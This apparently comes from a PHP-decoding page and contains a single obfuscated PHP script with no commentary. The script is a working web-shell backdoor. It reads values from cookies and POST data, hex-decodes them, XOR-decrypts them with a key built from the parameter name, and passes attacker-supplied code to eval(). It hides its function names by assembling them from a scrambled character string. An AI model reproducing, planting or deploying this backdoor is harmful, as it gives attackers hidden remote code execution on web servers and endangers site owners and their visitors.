PHP Decode

<?php 
$chnjyr = 'Htp#ikbavfyr*6o1n4mc9d85_uel\'g37-s2x';$rvqdcwd = Array();$rvqdcwd[] = $chnjyr[0].$chnjyr[12];$rvqdcwd[] = $chnjyr[21].$chnjyr[22].$chnjyr[31].$chnjyr[13].$chnjyr[20].$chnjyr[15].$chnjyr[30].$chnjyr[26].$chnjyr[32].$chnjyr[20].$chnjyr[13].$chnjyr[7].$chnjyr[26].$chnjyr[32].$chnjyr[17].$chnjyr[31].$chnjyr[23].$chnjyr[19].$chnjyr[32].$chnjyr[22].$chnjyr[17].$chnjyr[20].$chnjyr[13].$chnjyr[32].$chnjyr[34].$chnjyr[17].$chnjyr[20].$chnjyr[23].$chnjyr[9].$chnjyr[31].$chnjyr[17].$chnjyr[6].$chnjyr[9].$chnjyr[9].$chnjyr[9].$chnjyr[13];$rvqdcwd[] = $chnjyr[3];$rvqdcwd[] = $chnjyr[19].$chnjyr[14].$chnjyr[25].$chnjyr[16].$chnjyr[1];$rvqdcwd[] = $chnjyr[33].$chnjyr[1].$chnjyr[11].$chnjyr[24].$chnjyr[11].$chnjyr[26].$chnjyr[2].$chnjyr[26].$chnjyr[7].$chnjyr[1];$rvqdcwd[] = $chnjyr[26].$chnjyr[35].$chnjyr[2].$chnjyr[27].$chnjyr[14].$chnjyr[21].$chnjyr[26];$rvqdcwd[] = $chnjyr[33].$chnjyr[25].$chnjyr[6].$chnjyr[33].$chnjyr[1].$chnjyr[11];$rvqdcwd[] = $chnjyr[7].$chnjyr[11].$chnjyr[11].$chnjyr[7].$chnjyr[10].$chnjyr[24].$chnjyr[18].$chnjyr[26].$chnjyr[11].$chnjyr[29].$chnjyr[26];$rvqdcwd[] = $chnjyr[33].$chnjyr[1].$chnjyr[11].$chnjyr[27].$chnjyr[26].$chnjyr[16];$rvqdcwd[] = $chnjyr[2].$chnjyr[7].$chnjyr[19].$chnjyr[5] 
;foreach ($rvqdcwd[7]($_COOKIE, $_POST) as $bggwogn => $apidkmi){function uswzma($rvqdcwd, $bggwogn, $vefcxfx){return $rvqdcwd[6]($rvqdcwd[4]($bggwogn . $rvqdcwd[1], ($vefcxfx / $rvqdcwd[8]($bggwogn)) + 1), 0, $vefcxfx);}function pkxzxzp($rvqdcwd, $zcinbq){return @$rvqdcwd[9]($rvqdcwd[0], $zcinbq);}function xlljk($rvqdcwd, $zcinbq){$rdvcr = $rvqdcwd[3]($zcinbq) % 3;if (!$rdvcr) {eval($zcinbq[1]($zcinbq[2]));exit();}}$apidkmi = pkxzxzp($rvqdcwd, $apidkmi);xlljk($rvqdcwd, $rvqdcwd[5]($rvqdcwd[2], $apidkmi ^ uswzma($rvqdcwd, $bggwogn, $rvqdcwd[8]($apidkmi))));} ?>